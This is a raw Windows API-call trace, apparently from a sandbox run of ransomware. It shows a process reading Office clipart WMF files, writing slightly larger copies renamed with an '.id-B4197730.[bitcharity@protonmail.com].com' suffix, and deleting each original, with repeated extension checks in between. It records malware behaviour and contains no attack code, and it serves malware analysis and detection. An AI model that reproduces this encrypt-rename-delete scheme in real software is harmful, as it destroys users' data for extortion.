[0296.603] SetEndOfFile (hFile=0x10b0) returned 1 [0296.603] CloseHandle (hObject=0x10b0) returned 1 [0296.603] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.603] SetEndOfFile (hFile=0x10b8) returned 1 [0296.604] CloseHandle (hObject=0x10b8) returned 1 [0296.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.604] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 1 [0296.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0296.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0296.605] lstrlenW (lpString=".doc") returned 4 [0296.605] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.605] lstrlenW (lpString=".docx") returned 5 [0296.605] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.605] lstrlenW (lpString=".pdf") returned 4 [0296.605] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.605] lstrlenW (lpString=".xls") returned 4 [0296.605] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.605] lstrlenW (lpString=".xlsx") returned 5 [0296.605] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.605] lstrlenW (lpString=".ppt") returned 4 [0296.605] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0296.605] lstrlenW (lpString=".zip") returned 4 [0296.605] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.605] lstrlenW (lpString=".rar") returned 4 [0296.605] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.605] lstrlenW (lpString=".bz2") returned 4 [0296.605] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.605] lstrlenW (lpString=".7z") returned 3 [0296.605] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0296.605] lstrlenW (lpString=".dbf") returned 4 [0296.605] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0296.605] lstrlenW (lpString=".1cd") returned 4 [0296.605] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0296.605] lstrlenW (lpString=".jpg") returned 4 [0296.605] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0296.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0296.605] lstrlenW (lpString=".doc") returned 4 [0296.605] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.605] lstrlenW (lpString=".docx") returned 5 [0296.606] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.606] lstrlenW (lpString=".pdf") returned 4 [0296.606] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.606] lstrlenW (lpString=".xls") returned 4 [0296.606] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.606] lstrlenW (lpString=".xlsx") returned 5 [0296.606] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.606] lstrlenW (lpString=".ppt") returned 4 [0296.606] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0296.606] lstrlenW (lpString=".zip") returned 4 [0296.606] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.606] lstrlenW (lpString=".rar") returned 4 [0296.606] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.606] lstrlenW (lpString=".bz2") returned 4 [0296.606] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.606] lstrlenW (lpString=".7z") returned 3 [0296.606] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0296.606] lstrlenW (lpString=".dbf") returned 4 [0296.606] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0296.606] lstrlenW (lpString=".1cd") returned 4 [0296.606] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68 [0296.606] lstrlenW (lpString=".jpg") returned 4 [0296.606] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.606] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.606] lstrlenW (lpString="ED00010_.WMF") returned 12 [0296.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0296.607] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=1382) returned 1 [0296.607] CloseHandle (hObject=0x10b8) returned 1 [0296.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x220 [0296.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0296.607] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.607] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0296.608] GetLastError () returned 0x0 [0296.608] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x566, lpOverlapped=0x0) returned 1 [0296.638] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x570, lpOverlapped=0x0) returned 1 [0296.639] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.639] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.639] SetEndOfFile (hFile=0x10b0) returned 1 [0296.639] CloseHandle (hObject=0x10b0) returned 1 [0296.639] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.639] SetEndOfFile (hFile=0x10b8) returned 1 [0296.640] CloseHandle (hObject=0x10b8) returned 1 [0296.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.640] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 1 [0296.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0296.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0296.640] lstrlenW (lpString=".doc") returned 4 [0296.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.640] lstrlenW (lpString=".docx") returned 5 [0296.640] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.640] lstrlenW (lpString=".pdf") returned 4 [0296.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.640] lstrlenW (lpString=".xls") returned 4 [0296.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.640] lstrlenW (lpString=".xlsx") returned 5 [0296.640] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.640] lstrlenW (lpString=".ppt") returned 4 [0296.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0296.640] lstrlenW (lpString=".zip") returned 4 [0296.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.641] lstrlenW (lpString=".rar") returned 4 [0296.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.641] lstrlenW (lpString=".bz2") returned 4 [0296.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.641] lstrlenW (lpString=".7z") returned 3 [0296.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0296.641] lstrlenW (lpString=".dbf") returned 4 [0296.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0296.641] lstrlenW (lpString=".1cd") returned 4 [0296.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0296.641] lstrlenW (lpString=".jpg") returned 4 [0296.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0296.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0296.641] lstrlenW (lpString=".doc") returned 4 [0296.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.641] lstrlenW (lpString=".docx") returned 5 [0296.641] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.641] lstrlenW (lpString=".pdf") returned 4 [0296.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.641] lstrlenW (lpString=".xls") returned 4 [0296.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.641] lstrlenW (lpString=".xlsx") returned 5 [0296.641] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.641] lstrlenW (lpString=".ppt") returned 4 [0296.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0296.641] lstrlenW (lpString=".zip") returned 4 [0296.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.642] lstrlenW (lpString=".rar") returned 4 [0296.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.642] lstrlenW (lpString=".bz2") returned 4 [0296.642] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.642] lstrlenW (lpString=".7z") returned 3 [0296.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0296.642] lstrlenW (lpString=".dbf") returned 4 [0296.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0296.642] lstrlenW (lpString=".1cd") returned 4 [0296.642] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0296.642] lstrlenW (lpString=".jpg") returned 4 [0296.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.642] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.642] lstrlenW (lpString="ED00019_.WMF") returned 12 [0296.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0296.643] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=13042) returned 1 [0296.643] CloseHandle (hObject=0x10b8) returned 1 [0296.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x220 [0296.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0296.643] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.643] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0296.643] GetLastError () returned 0x0 [0296.644] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x32f2, lpOverlapped=0x0) returned 1 [0296.694] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x3300, lpOverlapped=0x0) returned 1 [0296.698] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.698] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.698] SetEndOfFile (hFile=0x10b0) returned 1 [0296.698] CloseHandle (hObject=0x10b0) returned 1 [0296.698] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.698] SetEndOfFile (hFile=0x10b8) returned 1 [0296.699] CloseHandle (hObject=0x10b8) returned 1 [0296.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.699] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 1 [0296.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0296.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0296.700] lstrlenW (lpString=".doc") returned 4 [0296.700] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.700] lstrlenW (lpString=".docx") returned 5 [0296.700] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.700] lstrlenW (lpString=".pdf") returned 4 [0296.700] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.700] lstrlenW (lpString=".xls") returned 4 [0296.700] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.700] lstrlenW (lpString=".xlsx") returned 5 [0296.700] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.700] lstrlenW (lpString=".ppt") returned 4 [0296.700] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0296.700] lstrlenW (lpString=".zip") returned 4 [0296.700] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.700] lstrlenW (lpString=".rar") returned 4 [0296.700] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.700] lstrlenW (lpString=".bz2") returned 4 [0296.700] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.700] lstrlenW (lpString=".7z") returned 3 [0296.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0296.700] lstrlenW (lpString=".dbf") returned 4 [0296.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0296.700] lstrlenW (lpString=".1cd") returned 4 [0296.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0296.700] lstrlenW (lpString=".jpg") returned 4 [0296.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0296.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0296.700] lstrlenW (lpString=".doc") returned 4 [0296.700] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.700] lstrlenW (lpString=".docx") returned 5 [0296.701] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.701] lstrlenW (lpString=".pdf") returned 4 [0296.701] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.701] lstrlenW (lpString=".xls") returned 4 [0296.701] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.701] lstrlenW (lpString=".xlsx") returned 5 [0296.701] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.701] lstrlenW (lpString=".ppt") returned 4 [0296.701] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0296.701] lstrlenW (lpString=".zip") returned 4 [0296.701] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.701] lstrlenW (lpString=".rar") returned 4 [0296.701] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.701] lstrlenW (lpString=".bz2") returned 4 [0296.701] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.701] lstrlenW (lpString=".7z") returned 3 [0296.701] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0296.701] lstrlenW (lpString=".dbf") returned 4 [0296.701] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0296.701] lstrlenW (lpString=".1cd") returned 4 [0296.701] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0296.701] lstrlenW (lpString=".jpg") returned 4 [0296.701] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.701] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.701] lstrlenW (lpString="ED00184_.WMF") returned 12 [0296.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0296.702] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=6958) returned 1 [0296.702] CloseHandle (hObject=0x10b8) returned 1 [0296.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x220 [0296.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0296.702] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.702] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0296.703] GetLastError () returned 0x0 [0296.703] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x1b2e, lpOverlapped=0x0) returned 1 [0296.776] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x1b30, lpOverlapped=0x0) returned 1 [0296.779] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.779] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.779] SetEndOfFile (hFile=0x10b0) returned 1 [0296.779] CloseHandle (hObject=0x10b0) returned 1 [0296.779] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: 